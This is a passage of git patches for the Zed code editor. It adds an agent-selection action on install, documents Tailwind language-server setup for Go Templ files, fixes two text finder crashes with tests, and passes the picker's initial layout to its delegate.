index 897a853662407c..a4fb6bfc60eae8 100644
--- a/crates/agent_ui/src/agent_registry_ui.rs
+++ b/crates/agent_ui/src/agent_registry_ui.rs
@@ -514,19 +514,27 @@ impl AgentRegistryPage {
                             .size(IconSize::Small)
                             .color(Color::Muted),
                     )
-                    .on_click(move |_, _, cx| {
-                        let agent_id = agent_id.clone();
-                        update_settings_file(fs.clone(), cx, move |settings, _| {
-                            let agent_servers = settings.agent_servers.get_or_insert_default();
-                            agent_servers.entry(agent_id).or_insert_with(|| {
-                                settings::CustomAgentServerSettings::Registry {
-                                    default_mode: None,
-                                    env: Default::default(),
-                                    default_config_options: HashMap::default(),
-                                    favorite_config_option_values: HashMap::default(),
-                                }
-                            });
+                    .on_click(move |_, window, cx| {
+                        update_settings_file(fs.clone(), cx, {
+                            let agent_id = agent_id.clone();
+                            move |settings, _| {
+                                let agent_servers = settings.agent_servers.get_or_insert_default();
+                                agent_servers.entry(agent_id).or_insert_with(|| {
+                                    settings::CustomAgentServerSettings::Registry {
+                                        default_mode: None,
+                                        env: Default::default(),
+                                        default_config_options: HashMap::default(),
+                                        favorite_config_option_values: HashMap::default(),
+                                    }
+                                });
+                            }
                         });
+                        window.dispatch_action(
+                            Box::new(zed_actions::agent::SelectAgent {
+                                agent: agent_id.clone(),
+                            }),
+                            cx,
+                        );
                     })
             }
             RegistryInstallStatus::InstalledRegistry => {
diff --git a/crates/onboarding/src/basics_page.rs b/crates/onboarding/src/basics_page.rs
index a4b17a0c09bc40..40fe15c08945ac 100644
--- a/crates/onboarding/src/basics_page.rs
+++ b/crates/onboarding/src/basics_page.rs
@@ -565,20 +565,28 @@ fn render_registry_agent_button(
         .name(agent.name().clone())
         .state(state_element)
         .disabled(installed)
-        .on_click(move |_, _, cx| {
+        .on_click(move |_, window, cx| {
             telemetry::event!("Welcome Agent Install Clicked", agent = agent_id.as_str());
-            let agent_id = agent_id.clone();
-            update_settings_file(fs.clone(), cx, move |settings, _| {
-                let agent_servers = settings.agent_servers.get_or_insert_default();
-                agent_servers.entry(agent_id).or_insert_with(|| {
-                    CustomAgentServerSettings::Registry {
-                        env: Default::default(),
-                        default_mode: None,
-                        default_config_options: HashMap::default(),
-                        favorite_config_option_values: HashMap::default(),
-                    }
-                });
+            update_settings_file(fs.clone(), cx, {
+                let agent_id = agent_id.clone();
+                move |settings, _| {
+                    let agent_servers = settings.agent_servers.get_or_insert_default();
+                    agent_servers.entry(agent_id).or_insert_with(|| {
+                        CustomAgentServerSettings::Registry {
+                            env: Default::default(),
+                            default_mode: None,
+                            default_config_options: HashMap::default(),
+                            favorite_config_option_values: HashMap::default(),
+                        }
+                    });
+                }
             });
+            window.dispatch_action(
+                Box::new(zed_actions::agent::SelectAgent {
+                    agent: agent_id.clone(),
+                }),
+                cx,
+            );
         })
 }
 
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index a11eca78e0b5d5..7eb78ca0ecc6f1 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -567,6 +567,17 @@ pub mod agent {
         ]
     );
 
+    /// Selects the agent used for new threads in the agent panel, without
+    /// opening the panel. The selected agent is launched the next time the
+    /// panel is opened.
+    #[derive(Clone, PartialEq, Deserialize, JsonSchema, Action)]
+    #[action(namespace = agent)]
+    #[serde(deny_unknown_fields)]
+    pub struct SelectAgent {
+        /// The id of the agent to select.
+        pub agent: String,
+    }
+
     /// Opens a new agent thread with the provided branch diff for review.
     #[derive(Clone, PartialEq, Deserialize, JsonSchema, Action)]
     #[action(namespace = agent)]

From b1f456390942873767fcc16befdc638b550b9c1b Mon Sep 17 00:00:00 2001
From: Tautik Agrahari <tautikagrahari@gmail.com>
Date: Mon, 6 Jul 2026 17:49:35 +0530
Subject: [PATCH 276/772] docs: Add Tailwind LSP configuration section for Go
 (Templ) (#55255)

Document how to configure the Tailwind CSS language server for Go
(Templ).

Ref #43969.

Release Notes:

- N/A

---------

Co-authored-by: Kunall Banerjee <hey@kimchiii.space>
---
 docs/src/languages/go.md          | 30 ++++++++++++++++++++++++++++++
 docs/src/languages/tailwindcss.md |  1 +
 2 files changed, 31 insertions(+)

diff --git a/docs/src/languages/go.md b/docs/src/languages/go.md
index c535acd80f0881..c7ed310b3bde04 100644
--- a/docs/src/languages/go.md
+++ b/docs/src/languages/go.md
@@ -234,3 +234,33 @@ In such case Zed won't spawn a new instance of Delve, as it opts to use an exist
 - Tree-sitter:
   [tree-sitter-go-work](https://github.com/d1y/tree-sitter-go-work)
 - Language Server: N/A
+
+## Using the Tailwind CSS Language Server with Templ
+
+To get all the features (autocomplete, linting, etc.) from the [Tailwind CSS language server](https://github.com/tailwindlabs/tailwindcss-intellisense/tree/HEAD/packages/tailwindcss-language-server#readme) in [Templ](https://github.com/a-h/templ) files, you need to enable the language server for Templ and configure where it should look for CSS classes by adding the following to your `settings.json`:
+
+```json [settings]
+{
+  "languages": {
+    "Templ": {
+      "language_servers": ["tailwindcss-language-server", "..."]
+    }
+  },
+  "lsp": {
+    "tailwindcss-language-server": {
+      "settings": {
+        "includeLanguages": {
+          "templ": "html"
+        },
+        "experimental": {
+          "classRegex": ["class=\"([^\"]*)\""]
+        }
+      }
+    }
+  }
+}
+```
+
+> Note: Unlike other languages, you need to tell Tailwind to treat `.templ` files as HTML explicitly.
+
+This gives you Tailwind CSS completions inside `class="..."` attributes in your `.templ` files.
diff --git a/docs/src/languages/tailwindcss.md b/docs/src/languages/tailwindcss.md
index 4644549ea0b483..2c95d85a6ca34c 100644
--- a/docs/src/languages/tailwindcss.md
+++ b/docs/src/languages/tailwindcss.md
@@ -15,6 +15,7 @@ Languages which can be used with Tailwind CSS in Zed:
 - [CSS](./css.md)
 - [ERB](./ruby.md#using-the-tailwind-css-language-server-with-ruby)
 - [Gleam](./gleam.md#using-the-tailwind-css-language-server-with-gleam)
+- [Go (Templ)](./go.md#using-the-tailwind-css-language-server-with-templ)
 - [HEEx](./elixir.md#using-the-tailwind-css-language-server-with-heex-templates)
 - [HTML](./html.md#using-the-tailwind-css-language-server-with-html)
 - [TypeScript](./typescript.md#using-the-tailwind-css-language-server-with-typescript)

From 050e6f3407e0a003ca45a572b8d4132cef5b6dfd Mon Sep 17 00:00:00 2001
From: Yevhen Nakonechnyi <yevhen.nakonechnyi@pm.me>
Date: Mon, 6 Jul 2026 06:47:21 -0700
Subject: [PATCH 277/772] text_finder: Fix crash when dismissing the finder
 (#60437)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #60436

Pressing Escape (or triggering any workspace-level action that closes
modals, such as `pane::DeploySearch` / `search::NewSearch`) while the
Text Finder was open crashes the app with:

```
cannot read workspace::Workspace while it is already being updated
crates/gpui/src/app/entity_map.rs:164
```

`TextFinder::on_before_dismiss` read the `Workspace` entity
(`workspace.read(cx).database_id()`) to persist the last search query.
Dismissal can be initiated from inside a `workspace.register_action`
handler — e.g. `buffer_search`'s `SearchActionsRegistrar` calls
`workspace.hide_modal(...)` while the `Workspace` entity is leased — so
the modal layer invokes `on_before_dismiss` synchronously under that
lease, and the read trips GPUI's re-entrancy guard. Since the finder
seeds the last query on open, the query is non-empty immediately, making
the crash reproducible on the very first Escape.

Dump file analysis confirms the diagnosis.

## Solution

Stop reading the `Workspace` entity in the dismiss path. Both places
that create the modal (`TextFinder::open` and
`TextFinder::open_from_project_search`) already run inside
`workspace.update_in`, where `workspace.database_id()` is a plain field
access on `&mut Workspace`. Capture the `Option<WorkspaceId>` there,
store it on `TextFinder`, and have `on_before_dismiss` use the stored
id. The dismiss path now touches no entity that can be mid-update, so it
is safe regardless of which code path initiates `hide_modal`. The
remaining reads in `on_before_dismiss` (`picker` and its query editor)
are never leased in any dismissal chain.

The `id` is captured once at creation; a workspace that gains a database
id during the modal's lifetime would persist under `None` (i.e. skip
persistence), which matches the previous behavior for unpersisted
workspaces.

## Testing

- Verified the fix by code review and re-tested in a rebuilt bundle
(local build).
- To reproduce/verify: open the Text Finder (`text_finder::Toggle`),
type a query (or rely on a seeded one), then press Escape with a binding
that resolves to `editor::Cancel`, or press `cmd-shift-f`
(`DeploySearch`) while the finder is open. Before this change the app
crashes. After it, the modal dismisses and the query is persisted.
- Tested on macOS 26.5.1 (arm64); the affected code is
platform-independent.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks — no unsafe blocks
- [x] The content adheres to Zed's UI standards — no UI changes
- [x] Tests cover the new/changed behavior — added
- [x] Performance impact has been considered and is acceptable — one
`Option<WorkspaceId>` copy at modal creation

---

Release Notes:

- Fixed a crash when closing the Text Finder while a workspace action
(e.g. Escape via `editor::Cancel`, or deploying search) triggered the
dismissal
---
 crates/search/src/text_finder.rs | 86 +++++++++++++++++++++++++++++---
 1 file changed, 79 insertions(+), 7 deletions(-)

diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 500f8e4fe9e1ef..06679887155db1 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -34,6 +34,7 @@ actions!(text_finder, [ToProjectSearch, Fold, Unfold, ToggleFoldAll]);
 pub struct TextFinder {
     picker: Entity<Picker<Delegate>>,
     init_modifiers: Option<Modifiers>,
+    workspace_id: Option<WorkspaceId>,
     _subscription: Subscription,
 }
 
@@ -158,8 +159,9 @@ impl TextFinder {
             workspace
                 .update_in(cx, |workspace, window, cx| {
                     remove_project_search_tab(project_search_item_id, workspace, window, cx);
+                    let workspace_id = workspace.database_id();
                     workspace.toggle_modal(window, cx, |window, cx| {
-                        Self::new(delegate, None, window, cx)
+                        Self::new(delegate, None, workspace_id, window, cx)
                     });
                 })
                 .ok();
@@ -380,8 +382,9 @@ impl TextFinder {
             let delegate = delegate_task.await;
             workspace
                 .update_in(cx, |workspace, window, cx| {
+                    let workspace_id = workspace.database_id();
                     workspace.toggle_modal(window, cx, |window, cx| {
-                        Self::new(delegate, seed_query, window, cx)
+                        Self::new(delegate, seed_query, workspace_id, window, cx)
                     });
                 })
                 .ok();
@@ -391,6 +394,7 @@ impl TextFinder {
     fn new(
         delegate: Delegate,
         seed_query: Option<SearchSeed>,
+        workspace_id: Option<WorkspaceId>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
@@ -418,6 +422,7 @@ impl TextFinder {
         Self {
             picker,
             init_modifiers: window.modifiers().modified().then_some(window.modifiers()),
+            workspace_id,
             _subscription: subscription,
         }
     }
@@ -450,11 +455,7 @@ impl ModalView for TextFinder {
         let query = picker.query(cx);
         if !query.is_empty() {
             let options = picker.delegate.search_options;
-            let workspace_id = self
-                .weak_workspace(cx)
-                .upgrade()
-                .and_then(|workspace| workspace.read(cx).database_id());
-            store_last_search(workspace_id, query, options, cx);
+            store_last_search(self.workspace_id, query, options, cx);
         }
         DismissDecision::Dismiss(true)
     }
@@ -478,3 +479,74 @@ pub struct SearchMatch {
     pub line_text: String,
     pub line_number: u32,
 }
+
+#[cfg(test)]
+mod tests {
+    use gpui::{TestAppContext, VisualTestContext};
+    use project::{FakeFs, Project};
+    use serde_json::json;
+    use settings::SettingsStore;
+    use util::path;
+    use workspace::MultiWorkspace;
+
+    use super::*;
+
+    fn init_test(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let settings = SettingsStore::test(cx);
+            cx.set_global(settings);
+
+            theme_settings::init(theme::LoadThemes::JustBase, cx);
+
+            editor::init(cx);
+            crate::init(cx);
+        });
+    }
+
+    /// Dismissal can be initiated from inside a workspace update: workspace-level
+    /// action handlers (e.g. buffer search's `SearchActionsRegistrar`) call
+    /// `Workspace::hide_modal` while the workspace entity is leased, which runs
+    /// `on_before_dismiss` synchronously under that lease. Reading the workspace
+    /// entity there panics with "cannot read workspace::Workspace while it is
+    /// already being updated", so this test dismisses the finder the same way.
+    #[gpui::test]
+    async fn test_dismiss_from_within_workspace_update(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(path!("/dir"), json!({"one.rs": "const ONE: usize = 1;"}))
+            .await;
+        let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = window
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window.into(), cx);
+
+        // Seed a query: the last-search persistence in `on_before_dismiss` (the
+        // code path that read the workspace entity) only runs when the query is
+        // non-empty, which is the common case in practice since the finder seeds
+        // the previous query on open.
+        let seed_query = SearchSeed {
+            query: "ONE".to_string(),
+            options: None,
+        };
+        workspace
+            .update_in(cx, |_, window, cx| {
+                TextFinder::open(Some(seed_query), window, cx)
+            })
+            .await;
+
+        workspace.update(cx, |workspace, cx| {
+            assert!(workspace.active_modal::<TextFinder>(cx).is_some());
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert!(workspace.hide_modal(window, cx));
+        });
+
+        workspace.update(cx, |workspace, cx| {
+            assert!(workspace.active_modal::<TextFinder>(cx).is_none());
+        });
+    }
+}

From 2b0a83ea817d8fd046a3fe4ef92b229e442ab8c6 Mon Sep 17 00:00:00 2001
From: guopenghui <guopeng_hui@126.com>
Date: Mon, 6 Jul 2026 23:00:36 +0800
Subject: [PATCH 278/772] picker: Give delegate the initial preview layout
 (#60007)

## Objective

- Provide initial preview layout information for the picker delegate.
This ensures that when match items with different styles need to be
displayed under horizontal or vertical layouts, they render correctly on
the first display.

## Solution

- Pass the initial layout information to the delegate in the picker
constructor


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


---

Release Notes:

- N/A
---
 crates/picker/src/picker.rs | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index 2f9d0ad3c4f48d..7915e6fd001f89 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -547,6 +547,9 @@ impl<D: PickerDelegate> Picker<D> {
             actions_menu_handle: PopoverMenuHandle::default(),
             reopenable: true,
         };
+        // give delegate the initial preview layout
+        this.delegate
+            .preview_layout_changed(matches!(initial_layout, preview::Layout::Right));
         if this.reopenable {
             let focus_handle = this.focus_handle(cx);
             workspace::register_reopenable_picker(&focus_handle, cx);

From e58a02d97409c2ecdbeaee7a936131ccc8f9dc16 Mon Sep 17 00:00:00 2001
From: David Alecrim <35930364+davidalecrim1@users.noreply.github.com>
Date: Mon, 6 Jul 2026 12:21:32 -0300
Subject: [PATCH 279/772] Fix text finder crash from unbounded memory use
 (#60377)

- Fixes #60238.
- The text finder could spike memory into the tens of gigabytes and
crash the app. The finder was copying the full matched line into every
match it kept, so memory grew with the number of matches times the size
of each line. Enough matches carrying enough text and the process runs
out of memory.

## Solution

- Stop storing line text on matches. Each match now keeps only its
position and column, and the text shown in a row is built lazily for the
visible rows, using a bounded slice around the match rather than the
whole line. Line boundaries come from the buffer's line index instead of
re-scanning the content per match.
- Cap the number of matches the finder builds while streaming results,
using the same ceiling project search already applies. This keeps the
finder from ever assembling an unbounded match list on the UI thread.
- Behavior is unchanged: every occurrence is still its own row, jumping
to a match lands on the exact line and column, and the rendered text and
highlighting look the same. The finder just no longer holds text
proportional to the match count.

## Testing
- Added tests covering the new behavior: the match count is capped while
streaming, every occurrence below the ceiling still becomes its own
match at the correct line and column, and the rendered slice around a
match stays bounded on a huge line while still covering a whole short
line.
- Verified by hand with the reproduction from the issue. The screenshot
below shows the memory usage and the matching against the issue data:
<img width="1277" height="1053" alt="Screenshot 2026-07-03 at 17 43 11"
src="https://github.com/user-attachments/assets/71c0aa3b-2423-427d-91ba-792951d9ba31"
/>

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed a crash and high memory usage in the text finder.
---
 crates/project/src/project_search.rs      |   2 +-
 crates/search/src/text_finder.rs          |   3 +-
 crates/search/src/text_finder/delegate.rs | 249 ++++++++++++++++++----
 3 files changed, 208 insertions(+), 46 deletions(-)

diff --git a/crates/project/src/project_search.rs b/crates/project/src/project_search.rs
index 971581dcf1abbd..dd1d4575fe8901 100644
--- a/crates/project/src/project_search.rs
+++ b/crates/project/src/project_search.rs
@@ -152,7 +152,7 @@ impl Search {
     }
 
     pub(crate) const MAX_SEARCH_RESULT_FILES: usize = 5_000;
-    pub(crate) const MAX_SEARCH_RESULT_RANGES: usize = 10_000;
+    pub const MAX_SEARCH_RESULT_RANGES: usize = 10_000;
     /// Prepares a project search run. The resulting [`SearchResultsHandle`] has to be used to specify whether you're interested in matching buffers
     /// or full search results.
     pub fn into_handle(mut self, query: SearchQuery, cx: &mut App) -> SearchResultsHandle {
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 06679887155db1..86f4a79f75978f 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -475,8 +475,7 @@ pub struct SearchMatch {
     pub buffer: Entity<Buffer>,
     pub anchor_range: Range<Anchor>,
     pub range: Range<usize>,
-    pub relative_range: Range<usize>,
-    pub line_text: String,
+    pub match_start_byte_column: u32,
     pub line_number: u32,
 }
 
diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
index 4d4b07174793a8..63068b1a9edcd8 100644
--- a/crates/search/src/text_finder/delegate.rs
+++ b/crates/search/src/text_finder/delegate.rs
@@ -38,7 +38,7 @@ use gpui::{
 use gpui::{Entity, FocusHandle};
 use language::{Buffer, LanguageAwareStyling};
 use picker::{Picker, PickerDelegate};
-use project::{Project, ProjectPath};
+use project::{Project, ProjectPath, Search};
 use project::{SearchResults, search::SearchQuery, search::SearchResult};
 use settings::Settings;
 use smol::future::yield_now;
@@ -130,27 +130,15 @@ fn multibuffer_ranges_to_search_matches<'a>(
 
         let start_offset: usize = buffer_snapshot.summary_for_anchor(&text_range.start);
         let end_offset: usize = buffer_snapshot.summary_for_anchor(&text_range.end);
-        let line_number = buffer_snapshot.offset_to_point(start_offset).row + 1;
-
-        let text = buffer_snapshot.text();
-        let line_start = text[..start_offset].rfind('\n').map(|i| i + 1).unwrap_or(0);
-        let line_end = text[start_offset..]
-            .find('\n')
-            .map(|i| start_offset + i)
-            .unwrap_or(text.len());
-        let line_text = text[line_start..line_end].to_string();
-
-        let relative_start = start_offset - line_start;
-        let relative_end = end_offset - line_start;
+        let point = buffer_snapshot.offset_to_point(start_offset);
 
         Some(SearchMatch {
             path,
             buffer,
             anchor_range: text_range,
             range: start_offset..end_offset,
-            relative_range: relative_start..relative_end,
-            line_text,
-            line_number,
+            match_start_byte_column: point.column,
+            line_number: point.row + 1,
         })
     })
 }
@@ -476,7 +464,7 @@ impl Delegate {
         };
         let path = selected_match.path.clone();
         let line_number = selected_match.line_number;
-        let column = selected_match.relative_range.start as u32;
+        let column = selected_match.match_start_byte_column;
         let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
             return;
         };
@@ -594,6 +582,7 @@ const SEARCH_DEBOUNCE_MS: u64 = 100;
 const CLICK_THRESHOLD_MS: u128 = 50;
 const DOUBLE_CLICK_THRESHOLD_MS: u128 = 300;
 const SEARCH_RESULTS_BATCH_SIZE: usize = 256;
+const MAX_MATCH_CONTEXT_BYTES: usize = 512;
 
 impl PickerDelegate for Delegate {
     type ListItem = AnyElement;
@@ -826,7 +815,7 @@ impl PickerDelegate for Delegate {
 
         let path = selected_match.path.clone();
         let line_number = selected_match.line_number;
-        let column = selected_match.relative_range.start as u32;
+        let column = selected_match.match_start_byte_column;
 
         let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
             return;
@@ -1052,6 +1041,11 @@ async fn stream_results_to_picker(
             .ready_chunks(SEARCH_RESULTS_BATCH_SIZE)
     );
 
+    // Project search enforces its ranges cap per file,
+    // so one minified line slips through uncapped; cap it here.
+    let cap = Search::MAX_SEARCH_RESULT_RANGES;
+    let mut total_matches = 0;
+
     let mut clear_existing = matches!(imported_matches, ImportedMatches::No);
     while let Some(results) = results_stream.next().await {
         if cancel_flag.load(std::sync::atomic::Ordering::SeqCst) {
@@ -1064,8 +1058,14 @@ async fn stream_results_to_picker(
         for result in results {
             match result {
                 SearchResult::Buffer { buffer, ranges } => {
-                    let matches = Delegate::process_search_result(&buffer, &ranges, cx);
+                    let remaining = cap.saturating_sub(total_matches + batch_matches.len());
+                    let capped = ranges.len().min(remaining);
+                    let matches = Delegate::process_search_result(&buffer, &ranges[..capped], cx);
                     batch_matches.extend(matches);
+                    if capped < ranges.len() {
+                        limit_reached = true;
+                        break;
+                    }
                 }
                 SearchResult::LimitReached => {
                     limit_reached = true;
@@ -1074,6 +1074,8 @@ async fn stream_results_to_picker(
             }
         }
 
+        total_matches += batch_matches.len();
+
         picker
             .update(cx, |picker, cx| {
                 let delegate = &mut picker.delegate;
@@ -1115,6 +1117,29 @@ async fn stream_results_to_picker(
     None
 }
 
+/// Byte range around the match to render: a bounded slice of the matched line so rendering never scales with line length.
+fn matched_line_window(
+    snapshot: &language::BufferSnapshot,
+    match_range: &Range<usize>,
+    column: u32,
+) -> Range<usize> {
+    let line_start = match_range.start.saturating_sub(column as usize);
+    let row = snapshot.offset_to_point(match_range.start).row;
+    let line_end = snapshot.point_to_offset(text::Point::new(row, snapshot.line_len(row)));
+    let start = snapshot.clip_offset(
+        match_range
+            .start
+            .saturating_sub(MAX_MATCH_CONTEXT_BYTES)
+            .max(line_start),
+        text::Bias::Left,
+    );
+    let end = snapshot.clip_offset(
+        (match_range.end + MAX_MATCH_CONTEXT_BYTES).min(line_end),
+        text::Bias::Right,
+    );
+    start..end
+}
+
 /// Renders the matched source line with syntax highlighting, overlaying the
 /// search match with a highlighted background and bold weight.
 fn render_matched_line(search_match: &SearchMatch, cx: &App) -> StyledText {
@@ -1129,23 +1154,40 @@ fn render_matched_line(search_match: &SearchMatch, cx: &App) -> StyledText {
         line_height: relative(1.),
         ..Default::default()
     };
-    let original_line = &search_match.line_text;
-    let line_text = original_line.trim_start();
-    let trim_offset = original_line.len() - line_text.len();
-
     let search_match_style = HighlightStyle {
         background_color: Some(cx.theme().colors().search_match_background),
         font_weight: Some(gpui::FontWeight::BOLD),
         ..Default::default()
     };
 
-    let line_start_abs = search_match.range.start - search_match.relative_range.start;
-    let visible_start_abs = line_start_abs + trim_offset;
-    let visible_end_abs = line_start_abs + original_line.len();
+    let snapshot = search_match.buffer.read(cx).snapshot();
+
+    // Render a bounded window around the match, not the whole line,
+    // so a minified single-line file stays cheap.
+    let line_start_abs = search_match
+        .range
+        .start
+        .saturating_sub(search_match.match_start_byte_column as usize);
+    let window = matched_line_window(
+        &snapshot,
+        &search_match.range,
+        search_match.match_start_byte_column,
+    );
+    let window_text: String = snapshot.text_for_range(window.clone()).collect();
+
+    // Trim leading indentation only when the window starts at the line start;
+    // a mid-line window already begins on content.
+    let trim_offset = if window.start == line_start_abs {
+        window_text.len() - window_text.trim_start().len()
+    } else {
+        0
+    };
+    let visible_start_abs = window.start + trim_offset;
+    let visible_end_abs = window.end;
+    let line_text = &window_text[trim_offset..];
 
     // Syntax highlights for the visible (trimmed) portion of the line, with
     // ranges relative to the start of the rendered text.
-    let snapshot = search_match.buffer.read(cx).snapshot();
     let syntax_theme = cx.theme().syntax();
     let mut syntax_highlights: Vec<(Range<usize>, HighlightStyle)> = Vec::new();
     let mut current_offset = 0;
@@ -1235,23 +1277,11 @@ impl Delegate {
                 worktree_id: f.worktree_id(cx),
                 path: f.path().clone(),
             });
-            let text = buf.text();
-
             let mut matches = Vec::new();
             for anchor_range in ranges {
                 let start_offset: usize = buf.summary_for_anchor(&anchor_range.start);
                 let end_offset: usize = buf.summary_for_anchor(&anchor_range.end);
-                let match_row = buf.offset_to_point(start_offset).row;
-                let line_number = match_row + 1;
-                let line_start = text[..start_offset].rfind('\n').map(|i| i + 1).unwrap_or(0);
-                let line_end = text[start_offset..]
-                    .find('\n')
-                    .map(|i| start_offset + i)
-                    .unwrap_or(text.len());
-                let line_text = text[line_start..line_end].to_string();
-
-                let relative_start = start_offset - line_start;
-                let relative_end = end_offset - line_start;
+                let point = buf.offset_to_point(start_offset);
 
                 if let Some(path) = &path {
                     matches.push(SearchMatch {
@@ -1259,9 +1289,8 @@ impl Delegate {
                         buffer: buffer.clone(),
                         anchor_range: anchor_range.clone(),
                         range: start_offset..end_offset,
-                        relative_range: relative_start..relative_end,
-                        line_text,
-                        line_number,
+                        match_start_byte_column: point.column,
+                        line_number: point.row + 1,
                     });
                 }
             }
@@ -1269,3 +1298,137 @@ impl Delegate {
         })
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::{AppContext, TestAppContext};
+    use project::search::{SearchQuery, SearchResult};
+    use project::{FakeFs, Project};
+    use serde_json::json;
+    use settings::SettingsStore;
+    use util::path;
+    use util::paths::PathMatcher;
+
+    fn init_test(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let settings = SettingsStore::test(cx);
+            cx.set_global(settings);
+            theme_settings::init(theme::LoadThemes::JustBase, cx);
+            editor::init(cx);
+            crate::init(cx);
+        });
+    }
+
+    async fn project_with_file(cx: &mut TestAppContext, contents: String) -> Entity<Project> {
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(path!("/dir"), json!({ "sample.js": contents }))
+            .await;
+        Project::test(fs, [path!("/dir").as_ref()], cx).await
+    }
+
+    #[gpui::test]
+    async fn test_finder_caps_matches_on_long_line(cx: &mut TestAppContext) {
+        use workspace::MultiWorkspace;
+
+        init_test(cx);
+
+        let line = "return ".repeat(Search::MAX_SEARCH_RESULT_RANGES * 2);
+        let project = project_with_file(cx, line).await;
+
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+
+        let delegate = window
+            .update(cx, |_mw, window, cx| {
+                workspace.update(cx, |workspace, cx| Delegate::new(workspace, window, cx))
+            })
+            .unwrap()
+            .await;
+        let picker = window
+            .update(cx, |_mw, window, cx| {
+                cx.new(|cx| Picker::list(delegate, window, cx))
+            })
+            .unwrap();
+
+        window
+            .update(cx, |_mw, window, cx| {
+                picker.update(cx, |picker, cx| picker.set_query("return", window, cx))
+            })
+            .unwrap();
+
+        // Search is debounced; advance past the debounce and let results stream in.
+        cx.executor()
+            .advance_clock(std::time::Duration::from_millis(SEARCH_DEBOUNCE_MS + 50));
+        cx.run_until_parked();
+
+        picker.read_with(cx, |picker, _| {
+            assert_eq!(
+                picker.delegate.matches.len(),
+                Search::MAX_SEARCH_RESULT_RANGES
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_builds_one_match_per_occurrence(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let line = "return ".repeat(2_000);
+        let expected_matches = line.matches("return").count();
+        let project = project_with_file(cx, line).await;
+
+        let query = SearchQuery::text(
+            "return",
+            false,
+            false,
+            false,
+            PathMatcher::default(),
+            PathMatcher::default(),
+            false,
+            None,
+        )
+        .unwrap();
+
+        let search = project.update(cx, |project, cx| project.search(query, cx));
+        let async_cx = cx.to_async();
+        let mut matches = Vec::new();
+        while let Ok(SearchResult::Buffer { buffer, ranges }) = search.rx.recv().await {
+            matches.extend(Delegate::process_search_result(&buffer, &ranges, &async_cx));
+        }
+
+        assert_eq!(matches.len(), expected_matches);
+        assert!(matches.iter().all(|m| m.line_number == 1));
+        assert!(
+            matches
+                .windows(2)
+                .all(|pair| pair[0].match_start_byte_column < pair[1].match_start_byte_column)
+        );
+    }
+
+    #[gpui::test]
+    fn test_matched_line_window_is_bounded(cx: &mut gpui::TestAppContext) {
+        let long_line = "abcdefghij".repeat(1_000_000);
+        let buffer = cx.new(|cx| language::Buffer::local(long_line, cx));
+        buffer.read_with(cx, |buffer, _| {
+            let snapshot = buffer.snapshot();
+            let match_range = 5_000_000..5_000_003;
+            let column = match_range.start as u32; // single line, so column equals the offset
+            let window = matched_line_window(&snapshot, &match_range, column);
+
+            assert!(window.start <= match_range.start && window.end >= match_range.end);
+            assert!(window.len() <= 2 * MAX_MATCH_CONTEXT_BYTES + match_range.len());
+        });
+
+        let buffer = cx.new(|cx| language::Buffer::local("    let foo = bar;", cx));
+        buffer.read_with(cx, |buffer, _| {
+            let snapshot = buffer.snapshot();
+            let match_range = 8..11; // "foo"
+            let window = matched_line_window(&snapshot, &match_range, match_range.start as u32);
+            assert_eq!(window, 0..snapshot.len());
+        });
+    }
+}

From f16b46419dc84b357afe2ed0cd187440de6e9c7a Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 6 Jul 2026 12:46:44 -0300
Subject: [PATCH 280/772] Improve diff tabs toolbar design (#60464)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR adds a bunch of design improvements to the toolbar of (tab)
